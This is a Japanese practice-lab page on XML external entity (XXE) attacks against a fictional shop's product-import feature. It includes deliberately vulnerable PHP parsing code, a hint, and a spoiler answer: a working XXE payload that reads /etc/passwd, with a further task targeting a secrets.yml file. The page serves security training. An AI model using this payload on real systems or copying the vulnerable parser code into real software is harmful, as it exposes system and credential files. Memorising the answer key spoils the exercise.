utsuroi xxe labsLab 01 / 5 — Practitioner
01

XXE — 商品インポート XML から /etc/passwd を読む

XXE for arbitrary file read

うつろい EC の管理画面に「商品マスタ XML 一括インポート」機能。サプライヤから受け取った XML をアップロードすると、商品名・価格などが取り込まれる。

使われている XML パーサは旧バージョンで、外部実体(External Entity)が有効。攻撃者は <!ENTITY xxe SYSTEM "file:///..."> でサーバ内のファイルを読み出せる。

XXE で /etc/passwd を読み出してください。可能であればアプリ設定ファイル /var/www/utsuroi/config/secrets.yml も。

クイック試行:
パーサの動作
入力 XML を libxml で解析
↓ <!ENTITY xxe SYSTEM "..."> が宣言されていれば外部リソースを fetch
↓ &xxe; を展開した結果をパースツリーに含める
(まだパースしていません)
脆弱な実装
// PHP - 外部実体が有効
$dom = new DOMDocument();
$dom->loadXML($_POST['xml']);  // libxml_disable_entity_loader が呼ばれていない
$name = $dom->getElementsByTagName('name')[0]->textContent;
// $name に &xxe; の展開結果(ファイル内容)が入る
攻撃 XML の構造
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">  ← ここで外部リソースを定義
]>
<product>
  <name>&xxe;</name>  ← 展開時にファイル内容が入る
  <price>3800</price>
</product>
ヒント 1 — 外部実体の宣言

XML の冒頭(<?xml ?> の後)に <!DOCTYPE ... [ ... ]> ブロックを追加。中で <!ENTITY 名前 SYSTEM "URL"> と書く。

正解(ネタバレ)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<product>
  <name>&xxe;</name>
  <price>3800</price>
</product>

パーサが &xxe; を展開する際に file:///etc/passwd を読み込み、その内容が <name> 要素に挿入されます。アプリがこの値を画面表示・ログ出力すれば攻撃者の手に渡る。